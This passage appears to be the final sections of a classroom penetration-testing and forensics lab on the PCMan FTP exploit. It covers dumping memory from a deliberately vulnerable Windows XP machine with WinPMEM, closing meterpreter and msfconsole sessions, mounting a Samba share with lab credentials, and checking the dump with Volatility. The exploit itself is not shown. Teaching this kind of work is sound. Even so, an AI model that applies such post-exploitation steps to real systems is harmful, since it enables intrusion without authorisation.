Section 15: Capture Memory of PCMan Exploit
  1. Open a Command Prompt (On Damn Vulnerable WXP-SP2)
    • Instructions:
      1. Click the Start Button
      2. Start --> Accessories --> Command Prompt

     

  2. Map Network Samba Drive (come back to this)
    • Note(FYI):
    • Instructions:
      1. net use Y: \\192.168.2.115\losbuntu
      2. Enter username: mtk
      3. Enter password: mtk
      4. Y:
      5. dir
      6. cls
    • Note(FYI):
      • Arrow #1, Use (net use) to map the local Y: Drive Letter to the LosBuntu Samba Share.
      • Arrow #4, Enter the (Y:) Drive that is now mapped to the LosBuntu Samba Share.
      • Arrow #5, Display the contents of the (Y:) Drive.

     

  3. Use WinPMEM to Dump Memory to Samba
    • Instructions:
      1. Y:\winpmem_1.6.2.exe Y:\pcman_user.mem
      2. dir
    • Note(FYI):
      • Arrow #1, Run WinPMEM and dump the captured memory into the (pcman_user.mem) file on the Samba Share(Y:). 
        • I hope you appreciate this N1nj4 m4g1c.
      • Arrow #2, Use (dir) to display the contents of the Samba Share(Y:).  Notice that there is now a memory dump file called pcman_user.mem.

 

Section 16: Exit Attack Sessions
  1. Exit Sessions (On Kali)
    • Instructions:
      1. exit
      2. exit
      3. exit
      4. exit
    • Note(FYI):
      • Arrow #1, Use (exit) to exit the shell spawned from the meterpreter.
      • Arrow #2, Use (exit) to exit the meterpreter session.
      • Arrow #3, Use (exit) to exit the msfconsole.
      • Arrow #4, Use (exit) to exit the typescript.  Remember the typescript was use to record all of your msfconsole activity into the (pcman_user.txt) file.

 

Section 17: Install Common Internet File System Utilities
  1. Install CIFS File System Utility (On Kali)
    • Instructions:
      1. apt-get install cifs-utils
      2. Do you want to continue [Y/n]? Y
    • Note(FYI):
      • Arrow #1, Use (apt-get install cifs-utils) to install the Common Internet File System (CIFS) utilities to mount Samba(SMB)/CIFS shares in Linux.

 

Section 18: Mount Forensics Samba Share in Linux
  1. Mount Samba Share in Kali (On Kali)
    • Note(FYI):
    • Instructions:
      1. mkdir -p /mnt/pcman
      2. mount -t cifs -o user=mtk //192.168.2.115/losbuntu /mnt/pcman
      3. Password: mtk
      4. df -k
      5. cp pcman_user.txt /mnt/pcman/
      6. cd /mnt/pcman
      7. ls -l
    • Note(FYI):
      • Arrow #1, Use (mkdir) to make the directory (/mnt/pcman), and use (-p) to suppress errors if the directory already exists.
      • Arrow #2, Use (mount) to remotely mount the Samba share (//192.168.2.115/losbuntu) to our local directory (/mnt/pcman).  We use (-t) to specify the type (cifs).  We use -o to specify the user (mtk).
      • Arrow #4, Use (df -k) to display all the file systems.  Notice how the Samba Share is now mounted to (/mnt/pcman).
      • Arrow #5, Use (cp) to copy the typescript file (pcman_user.txt) to the mounted Samba Share (/mnt/pcman).
      • Arrow #6, Use (cd) to change directory into the mounted Samba Share (/mnt/pcman).
      • Arrow #7, Use (ls -l) to list the files inside of the mounted Samba Share.  Notice you can see both the memory capture (pcman_user.mem) and our typescript file (pcman_user.txt).

     

Section 19: Proof of Lab
  1. Proof of Lab (On LosBuntu)
    • Instructions:
      1. ls -l /forensics/pcman/
      2. grep "Meterpreter session 1" /forensics/pcman/pcman_user.txt
      3. vol.py imageinfo -f /forensics/pcman/pcman_user.mem | egrep -i '(profile|date)'
      4. date
      5. echo "Your Name"
        • Put in your actual name in place of "Your Name"
        • e.g., echo "John Gray"
    • Note(FYI):
      • Arrow #1, Use (ls -l) to display the files located in the (/forensics/pcman/) directory.
      • Arrow #2, Use (grep) to display the string (Meterpreter session 1) located in the (/forensics/pcman/pcman_user.txt) file.
      • Arrow #3, Use (vol.py) to read the pcman memory dump file (/forensics/pcman/pcman_user.mem) and use (egrep) to display either of the following strings (profile) or (date), while ignoring case (-i).
    • Proof of Lab Instructions
      1. Press the <Ctrl> and <Alt> key at the same time.
      2. Press the <PrtScn> key.
      3. Paste into a word document
      4. Upload to Moodle


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